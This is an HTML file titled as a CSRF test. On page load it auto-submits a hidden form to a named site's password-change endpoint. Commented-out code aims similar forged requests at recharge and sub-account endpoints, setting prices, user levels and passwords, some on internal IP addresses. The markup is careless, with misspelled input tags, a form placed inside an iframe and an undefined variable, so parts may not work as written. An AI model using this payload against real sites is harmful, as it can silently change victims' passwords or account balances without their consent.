<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>


</head>
<body onload="setForm();">

<iframe src="{:U('Public/login)}" frameborder="0">
    <h1>Test 测试 CSRF</h1>
    <form id="form1" action="http://www.d8805.com/index.php/User/pwdEdit" method="post">
        <inpu name="oldpwd" value="1"></inpu>
        <inpu name="pwd" value="2"></inpu>
        <inpu name="repwd" value="2"></inpu>
        <inpu name="oldpwd1" value="1"></inpu>
        <inpu name="pwd1" value="1"></inpu>
        <inpu name="repwd1" value="1"></inpu>
    </form>

</iframe>

</body>
</html>

<script>
    function setForm () {
        //var form = document.createElement('form');
        //form.action = 'http://192.168.0.145/T8815/wwwroot/index.php/Recharge/currencyRechargeAC';
        //form.action = 'http://192.168.0.181/T8815/wwwroot/index.php/Recharge/currencyRechargeAC';
        //form.action = 'http://www.d8805.com/index.php/User/subuserAC';
       /* form.action = 'http://www.d8805.com/index.php/User/pwdEdit';
        form.method = 'POST';*/
        /*var input = document.createElement('input');
        input.type = 'text';
        input.type = '1';
        input.name = 'ePoints';
        input.name = 'price';
        input.value = '300.33';
        form.appendChild(input);
        var input = document.createElement('input');
        input.type = 'text';
        input.type = '1';
        input.name = 'type';
        input.value = '1';
        form.appendChild(input);
        input.type = 'text';
        input.name = 'u_level';
        input.value = '1';
        form.appendChild(input);
        input.type = 'text';
        input.name = 'password';
        input.value = '1';
        form.appendChild(input);
        document.body.appendChild(form);*/
/*
        var input = document.createElement('input');
        input.type = 'text';
        input.name = 'oldpwd';
        input.value = 1;
        form.appendChild(input);

        var input = document.createElement('input');
        input.type = 'text';
        input.name = 'pwd';
        input.value = '2';
        form.appendChild(input);

        var input = document.createElement('input');
        input.type = 'text';
        input.name = 'repwd';
        input.value = '2';
        form.appendChild(input);

        var input = document.createElement('input');
        input.type = 'text';
        input.name = 'oldpwd1';
        input.value = '1';
        form.appendChild(input);

        var input = document.createElement('input');
        input.type = 'text';
        input.name = 'pwd1';
        input.value = '1';
        form.appendChild(input);

        var input = document.createElement('input');
        input.type = 'text';
        input.name = 'repwd1';
        input.value = '1';
        form.appendChild(input);


        document.body.appendChild(form);*/

        document.getElementById('form1').submit();
        console.log(form);
        //form.submit();
    }
    </script>